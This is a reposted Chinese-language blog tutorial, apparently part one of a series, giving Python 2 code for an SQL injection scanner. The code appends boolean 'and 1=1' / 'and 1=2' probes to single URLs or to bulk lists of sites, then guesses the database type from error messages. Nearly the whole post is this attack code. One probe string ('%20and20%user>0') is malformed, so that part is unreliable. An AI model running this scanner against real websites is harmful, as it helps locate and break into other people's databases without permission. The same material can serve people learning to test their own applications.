Python編寫SQL注入工具(1)


    編寫原由:自學了一點SQL注入和Python的知識.雖然,早就有了非常好的注入工具Sqlmap,但自己想寫一個自動注入的工具玩玩,寫的不好之處,還望不吝指正.

第一部分:注入點測試模塊(injectTest.py)

#coding=gb2312
import urllib
import os
import string
from re import search

class injectTest():
    def __init__(self,url=''):
        self.url=url             #待檢測網址,默認為空
        self.a='%20and%201=1'  #檢測語句
        self.b='%20and%201=2'
        self.urls=[]             #存在注入的urls

    #檢測單個網址的函數
    def judgeUrl(self):
        page=urllib.urlopen(self.url).read()
        pagea=urllib.urlopen(self.url+self.a).read()
        pageb=urllib.urlopen(self.url+self.b).read()
        if page==pagea and page!=pageb:
            print '網址',self.url,'可能存在注入點!'
            return True
        else:
            print '網址:',self.url,'不存在注入點!'
            return False

    #判斷待檢測的網址文件是否存在
    def fileExists(self,name):
        path=os.getcwd()
        filepath=path+'\\'
        filepath=filepath+name
        return os.path.exists(filepath)

    #進行批量檢測
    def judgeUrls(self,file):
        self.fileExists(file)
        #如果不存在默認檢測的網址文件,則由用戶自行輸入待檢測的文件
        while not self.fileExists(file):
            print '待檢測網址文件不存在'
            file=str(raw_input('請輸入待檢測的網址文件:'))
            self.fileExists(file)
        urls=open(file,'r')
        for url in urls.readlines():
            print '正在檢測:',url
            page=urllib.urlopen(url).read()
            pagea=urllib.urlopen(url+self.a).read()
            pageb=urllib.urlopen(url+self.b).read()
            if page==pagea and page!=pageb:
                self.urls.append(url)
            else:
                continue
        if len(self.urls):
            print '以下網址可能存在注入點:'
            for u in self.urls:
                print u
        else:
            print '該文件中不存在有注入的網址!'

    #判斷有注入的網址的數據庫類型
    #如果不存在回顯錯誤,則可能不能判斷出數據庫的類型
    def whatDatabase(self):
        db=''
        sql=string.join(['%20and20%user>0'],'')
        pagex=urllib.urlopen(self.url+sql).read()
        if search('ODBC Microsoft Access',pagex) or search('Microsoft JET Database',pagex) :
            print '數據庫:Access'
            db='Access'
            return db
        elif search('SQL Server',pagex) or search('nvarchar',pagex):
            print '數據庫:MSSQL'
            db='MSSQL'
            return  db
        elif search('You have an error in your SQL syntax',pagex) or search('Query failed',pagex) or search('SQL query failed',pagex) or search('mysql_fetch_',pagex) or search('mysql_num_rows',pagex) or search('The used SELECT statements have a different number of columns',pagex):
            print '數據庫:MYSQL'
            db='MYSQL'
            return db
        else:
            print '未判斷出數據庫類型!'
            return db


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM